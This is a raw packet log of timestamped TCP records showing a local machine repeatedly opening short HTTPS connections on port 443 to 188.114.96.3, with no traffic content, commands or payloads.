Jan 9, 2025 08:30:21.220352888 CET	443	50200	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.220385075 CET	443	50200	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.220410109 CET	443	50200	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.220494032 CET	50200	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.220494032 CET	50200	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.220503092 CET	443	50200	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.221203089 CET	50200	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.221203089 CET	50200	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.223578930 CET	50201	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.223612070 CET	443	50201	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.227858067 CET	50201	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.227858067 CET	50201	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.227890968 CET	443	50201	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.697298050 CET	443	50201	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.699064016 CET	50201	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.699090004 CET	443	50201	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.841703892 CET	443	50201	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.841753960 CET	443	50201	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.841787100 CET	443	50201	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.841810942 CET	443	50201	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.841902018 CET	443	50201	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.841903925 CET	50201	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.841978073 CET	50201	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.842705011 CET	50201	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.843956947 CET	50202	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.844008923 CET	443	50202	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.844069004 CET	50202	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.844357967 CET	50202	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.844367981 CET	443	50202	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.317578077 CET	50202	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.318423033 CET	443	50202	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.318531990 CET	50202	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.318994999 CET	50203	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.319046974 CET	443	50203	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.319116116 CET	50203	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.319408894 CET	50203	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.319427967 CET	443	50203	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.803940058 CET	443	50203	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.804017067 CET	50203	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.806318998 CET	50203	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.806329966 CET	443	50203	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.806574106 CET	443	50203	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.808181047 CET	50203	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.855330944 CET	443	50203	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.951405048 CET	443	50203	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.951450109 CET	443	50203	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.951493025 CET	443	50203	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.951520920 CET	443	50203	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.951608896 CET	443	50203	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.951611042 CET	50203	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.951611042 CET	50203	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.951711893 CET	50203	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.952579975 CET	50203	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.956721067 CET	50204	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.956753016 CET	443	50204	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:22.956953049 CET	50204	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.957082987 CET	50204	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:22.957093954 CET	443	50204	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:23.421123028 CET	443	50204	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:23.422749043 CET	50204	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:23.422763109 CET	443	50204	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:23.546315908 CET	443	50204	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:23.546355009 CET	443	50204	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:23.546392918 CET	443	50204	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:23.546421051 CET	443	50204	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:23.546422005 CET	50204	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:23.546430111 CET	443	50204	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:23.546497107 CET	443	50204	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:23.546596050 CET	50204	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:23.547693014 CET	50204	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:23.548230886 CET	50205	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:23.548274994 CET	443	50205	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:23.548408985 CET	50205	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:23.551407099 CET	50205	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:23.551424026 CET	443	50205	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.004964113 CET	443	50205	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.006733894 CET	50205	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.006766081 CET	443	50205	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.136307001 CET	443	50205	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.136354923 CET	443	50205	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.136389017 CET	443	50205	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.136415005 CET	443	50205	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.136428118 CET	50205	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.136441946 CET	443	50205	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.136454105 CET	50205	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.136533022 CET	443	50205	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.137403011 CET	50205	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.142018080 CET	50205	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.142975092 CET	50206	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.143009901 CET	443	50206	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.143641949 CET	50206	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.143956900 CET	50206	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.143970966 CET	443	50206	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.598882914 CET	443	50206	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.601133108 CET	50206	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.601145983 CET	443	50206	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.730319977 CET	443	50206	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.730369091 CET	443	50206	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.730400085 CET	443	50206	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.730427027 CET	443	50206	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.730499983 CET	50206	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.730516911 CET	443	50206	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.730529070 CET	443	50206	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.730544090 CET	50206	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.730566025 CET	50206	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.731488943 CET	50206	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.732534885 CET	50207	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.732583046 CET	443	50207	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:24.735457897 CET	50207	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.735696077 CET	50207	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:24.735719919 CET	443	50207	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.219281912 CET	443	50207	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.221086979 CET	50207	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.221115112 CET	443	50207	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.347664118 CET	443	50207	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.347712994 CET	443	50207	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.347739935 CET	443	50207	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.347769976 CET	443	50207	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.347779989 CET	50207	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.347807884 CET	443	50207	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.347866058 CET	443	50207	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.347966909 CET	50207	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.348062992 CET	50207	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.348871946 CET	50207	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.353405952 CET	50208	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.353467941 CET	443	50208	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.357544899 CET	50208	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.361402035 CET	50208	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.361438036 CET	443	50208	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.816536903 CET	443	50208	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.818409920 CET	50208	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.818447113 CET	443	50208	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.934977055 CET	443	50208	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.935028076 CET	443	50208	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.935059071 CET	443	50208	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.935082912 CET	50208	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.935089111 CET	443	50208	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.935142994 CET	443	50208	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.935159922 CET	50208	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.936564922 CET	443	50208	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.936611891 CET	50208	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.941744089 CET	50208	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.998758078 CET	50209	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.998816013 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:25.998882055 CET	50209	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.999696970 CET	50209	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:25.999711990 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.460680962 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.462903023 CET	50209	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:26.462928057 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.604286909 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.604342937 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.604371071 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.604383945 CET	50209	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:26.604403019 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.604433060 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.604440928 CET	50209	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:26.604446888 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.604487896 CET	50209	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:26.604492903 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.604515076 CET	443	50209	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.604566097 CET	50209	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:26.605448008 CET	50209	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:26.606508970 CET	50210	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:26.606539965 CET	443	50210	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:26.606602907 CET	50210	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:26.606877089 CET	50210	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:26.606889009 CET	443	50210	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.090600014 CET	443	50210	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.097405910 CET	50210	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.097433090 CET	443	50210	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.221375942 CET	443	50210	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.221429110 CET	443	50210	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.221465111 CET	443	50210	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.221493959 CET	443	50210	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.221523046 CET	50210	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.221558094 CET	443	50210	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.221611977 CET	443	50210	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.221637964 CET	50210	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.222300053 CET	50210	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.222313881 CET	443	50210	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.222341061 CET	50210	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.222476006 CET	50210	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.223505020 CET	50211	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.223548889 CET	443	50211	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.228015900 CET	50211	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.228300095 CET	50211	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.228312016 CET	443	50211	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.699119091 CET	443	50211	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.700936079 CET	50211	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.700962067 CET	443	50211	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.845344067 CET	443	50211	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.845395088 CET	443	50211	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.845428944 CET	443	50211	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.845458984 CET	443	50211	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.845494986 CET	50211	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.845523119 CET	443	50211	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.845549107 CET	50211	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.845575094 CET	443	50211	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.845737934 CET	50211	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.846328020 CET	50211	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.847373009 CET	50212	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.847405910 CET	443	50212	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:27.847556114 CET	50212	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.847759008 CET	50212	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:27.847774029 CET	443	50212	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.304152012 CET	443	50212	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.305747032 CET	50212	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:28.305768013 CET	443	50212	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.433820963 CET	443	50212	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.433870077 CET	443	50212	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.433903933 CET	443	50212	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.433916092 CET	50212	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:28.433937073 CET	443	50212	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.433948040 CET	443	50212	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.433975935 CET	50212	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:28.434045076 CET	443	50212	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.434106112 CET	50212	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:28.434746981 CET	50212	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:28.440428019 CET	50213	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:28.440485954 CET	443	50213	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.440540075 CET	50213	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:28.440833092 CET	50213	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:28.440850973 CET	443	50213	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.924868107 CET	443	50213	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:28.932080984 CET	50213	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:28.932121992 CET	443	50213	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.049427032 CET	443	50213	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.049465895 CET	443	50213	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.049485922 CET	443	50213	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.049506903 CET	443	50213	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.049530983 CET	50213	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.049566984 CET	443	50213	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.049576998 CET	50213	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.049616098 CET	443	50213	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.049978971 CET	50213	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.050576925 CET	50213	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.051888943 CET	50214	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.051938057 CET	443	50214	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.052073002 CET	50214	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.052520037 CET	50214	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.052536011 CET	443	50214	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.508586884 CET	443	50214	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.510361910 CET	50214	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.510384083 CET	443	50214	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.639863014 CET	443	50214	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.639923096 CET	443	50214	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.639956951 CET	443	50214	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.639986038 CET	443	50214	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.639988899 CET	50214	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.640012026 CET	443	50214	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.640042067 CET	50214	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.641000032 CET	443	50214	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.641062975 CET	50214	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.649399042 CET	50214	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.653635025 CET	50215	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.653693914 CET	443	50215	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:29.654151917 CET	50215	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.654462099 CET	50215	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:29.654476881 CET	443	50215	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.108361959 CET	443	50215	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.110358953 CET	50215	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.110395908 CET	443	50215	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.231697083 CET	443	50215	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.231755018 CET	443	50215	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.231782913 CET	443	50215	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.231811047 CET	443	50215	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.231817007 CET	50215	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.231841087 CET	443	50215	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.231854916 CET	50215	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.231916904 CET	443	50215	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.231959105 CET	50215	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.232734919 CET	50215	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.234047890 CET	50216	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.234101057 CET	443	50216	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.234164953 CET	50216	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.234448910 CET	50216	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.234463930 CET	443	50216	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.697161913 CET	443	50216	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.699368000 CET	50216	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.699409962 CET	443	50216	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.839263916 CET	443	50216	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.839297056 CET	443	50216	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.839329004 CET	443	50216	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.839351892 CET	443	50216	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.839381933 CET	50216	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.839412928 CET	443	50216	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.839431047 CET	50216	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.839432001 CET	443	50216	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.839469910 CET	50216	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.840280056 CET	50216	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.841594934 CET	50217	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.841634035 CET	443	50217	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:30.841738939 CET	50217	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.841996908 CET	50217	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:30.842010975 CET	443	50217	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.313241005 CET	443	50217	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.315417051 CET	50217	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:31.315428972 CET	443	50217	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.440753937 CET	443	50217	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.440802097 CET	443	50217	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.440833092 CET	443	50217	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.440860033 CET	443	50217	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.440888882 CET	50217	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:31.440901041 CET	443	50217	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.440927982 CET	50217	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:31.441241026 CET	443	50217	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.441443920 CET	50217	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:31.441814899 CET	50217	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:31.451915979 CET	50218	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:31.451973915 CET	443	50218	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.452054977 CET	50218	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:31.452326059 CET	50218	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:31.452341080 CET	443	50218	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.918040991 CET	443	50218	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:31.920193911 CET	50218	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:31.920237064 CET	443	50218	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.061875105 CET	443	50218	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.061903000 CET	443	50218	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.061938047 CET	443	50218	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.061949968 CET	50218	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.061966896 CET	443	50218	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.061979055 CET	443	50218	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.062004089 CET	50218	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.062079906 CET	443	50218	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.062120914 CET	50218	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.063083887 CET	50218	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.064372063 CET	50219	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.064412117 CET	443	50219	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.064476013 CET	50219	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.064758062 CET	50219	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.064771891 CET	443	50219	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.538279057 CET	443	50219	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.540321112 CET	50219	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.540359020 CET	443	50219	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.673011065 CET	443	50219	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.673059940 CET	443	50219	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.673089981 CET	443	50219	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.673100948 CET	50219	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.673118114 CET	443	50219	188.114.96.3	192.168.2.4
